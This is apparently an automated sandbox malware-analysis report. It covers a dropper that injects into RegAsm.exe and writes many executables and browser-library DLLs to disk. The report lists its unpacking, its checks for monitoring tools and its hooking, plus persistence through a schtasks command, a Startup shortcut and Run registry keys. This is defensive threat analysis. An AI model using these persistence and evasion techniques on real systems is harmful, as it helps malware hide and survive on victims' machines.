Source:	Binary string: gitclonesoft.pdb source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\yLunQD.pdb source: IUqoPnH3eiygxjqgC368dFJD.exe, 00000004.00000002.2051301133.0000000004229000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: user-PC\usertion_manual.pdbxL source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\press\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\iCIue.pdb source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000002.2135001198.0000000005750000.00000004.08000000.00040000.00000000.sdmp
Source:	Binary string: nss3.pdb source: RegAsm.exe, 00000014.00000002.2906535363.000000006B57F000.00000002.00000001.01000000.00000023.sdmp
Source:	Binary string: gitclonesoft.pdbX source: 9AvIIxRx9oZhX7WUPPobrACv.exe, 0000000D.00000000.1890695532.0000000000742000.00000002.00000001.01000000.00000011.sdmp
Source:	Binary string: 0dows\symbols\dll\mscorlib.pdb source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F61000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: ScoutVerity_BlueParka.pdb source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp, 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000000.1890052659.00000000003C2000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: \??\C:\Windows\exe\instruction_manual.pdbtN source: rFOuFGF_bpYT2mD72hQviWI6.exe, 00000005.00000002.2166501534.0000000000F90000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb\| source: 0QrWpVvJO2zQ0CVHYo3FGItE.exe, 0000000E.00000002.2184077230.00000000010B8000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\zlib-dll\Release\isunzlib.pdb source: tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3078232891.00000000022E3000.00000002.00000001.01000000.00000018.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000002.3077102258.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000003.1967614585.00000000020A8000.00000004.00001000.00020000.00000000.sdmp, tmR_9dCV10b0GIVf60jpdpDG.tmp, 0000001A.00000003.1967512690.00000000030F0000.00000004.00001000.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Unpacked PE file: 10.2.LfiXVL0FmEQ8Z73WgU_xbDtt.exe.410000.0.unpack :EW;.rsrc :W;.idata :W; :EW;trzlrlhz:EW;xbmoezwd:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;trzlrlhz:EW;xbmoezwd:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Unpacked PE file: 31.2.simplefreevideocutter32_64.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R;.vhead2:EW; vs .text:ER;.rdata:R;.data:W;.vmp0:ER;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe

Unpacked PE file: 31.2.simplefreevideocutter32_64.exe.400000.0.unpack

Source: kqS23MOytx.exe

Static PE information: 0xD8612498 [Sat Jan 13 17:23:36 2085 UTC]

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe

Code function: 6_2_004062FC GetModuleHandleA,LoadLibraryA,GetProcAddress,

6_2_004062FC

Source: kqS23MOytx.exe

Static PE information: real checksum: 0x891f31 should be: 0x8c4225

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00565F60 push ecx; ret	2_2_00565F73
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_0510D4A7 push ebp; retf	4_2_0510D4B5
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Code function: 5_2_02BB717A push eax; ret	5_2_02BB717B
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Code function: 5_2_02BBD619 push eax; retf	5_2_02BBD61F
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_00411C20 push eax; ret	7_2_00411C4E
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00406518 push 00406555h; ret	9_2_0040654D
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00408028 push ecx; mov dword ptr [esp], eax	9_2_0040802D
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_004040B5 push eax; ret	9_2_004040F1
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00404185 push 00404391h; ret	9_2_00404389
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00404206 push 00404391h; ret	9_2_00404389
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_0040C218 push eax; ret	9_2_0040C219
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_004042E8 push 00404391h; ret	9_2_00404389
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00404283 push 00404391h; ret	9_2_00404389
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00408E5C push 00408E8Fh; ret	9_2_00408E87
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_0041A9F5 push ecx; ret	20_2_0041AA08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B37B536 push ecx; ret	20_2_6B37B549

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\nss3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d08591035ef_AttachmentDaughters[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_setup64.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_shfoldr.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66ce00c2c1a2c_doz[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\SendBugReportNew.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66d0cd9a65b5d_vqwergf[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-28PK6.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\huna[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userKKECFIEBGC.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66c6def3f0546_sss[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\66d0c13d2f0ed_ImpressedHub[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\softokn3[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd8fb6f7b_lgjfd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	File created: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66cdfc485c6f9_instruction[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\vclx120.bpl	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	File created: C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-ETFGC.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\66c6fcb30b9dd_123p[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9a65b5d_vqwergf[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-06KMO.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\66d0cd9755a01_sbwd[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\mozglue[1].dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\libeay32.dll (copy)	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\ssleay32.dll (copy)	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\vcl120.bpl	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\userJJDGIIDHJE.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\PENDXGKW[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	File created: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\rtl120.bpl	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\libssl-1_1.dll (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\is-F4EPM.tmp	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\66d0879618b6b_File[1].exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\install[1].exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	File created: C:\Users\user\AppData\Local\ExtreamFanV6\ExtreamFanV6.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Simple Free Video Cutter\unins000.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_isdecmp.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_iscrypt.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\jnpqblobe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	File created: C:\Users\user\AppData\Local\Temp\PowerExpertNNT\PowerExpertNNT.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\is-ITOU0.tmp\tmR_9dCV10b0GIVf60jpdpDG.tmp	File created: C:\Users\user\AppData\Local\Temp\is-4TN3G.tmp\_isetup\_RegDLL.tmp	Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	File created: C:\ProgramData\xprfjygruytr\etzpikspwykg.exe	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	File created: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Simple Free Video Cutter\simplefreevideocutter32_64.exe	File created: C:\ProgramData\CTV Game Plugin 8.29.45\CTV Game Plugin 8.29.45.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\rtl120.bpl	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\vcl120.bpl	Jump to dropped file
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	File created: C:\Users\user\AppData\Local\Temp\vclx120.bpl	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\jnpqblobe	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\LfiXVL0FmEQ8Z73WgU_xbDtt.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe

Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /create /f /RU "user" /tr "C:\ProgramData\jewkkwnf\jewkkwnf.exe" /tn "jewkkwnf HR" /sc HOURLY /rl HIGHEST

Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\PowerExpertNNT.lnk

Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run ExtreamFanV6

Hooking and other Techniques for Hiding and Protection

Found hidden mapped module (file has been removed from disk)

Source: C:\Windows\SysWOW64\cmd.exe

Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\JNPQBLOBE

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Memory written: PID: 8056 base: 7FFE22370008 value: E9 EB D9 E9 FF
Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe	Memory written: PID: 8056 base: 7FFE2220D9F0 value: E9 20 26 16 00

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 20_2_004195E0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

20_2_004195E0

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
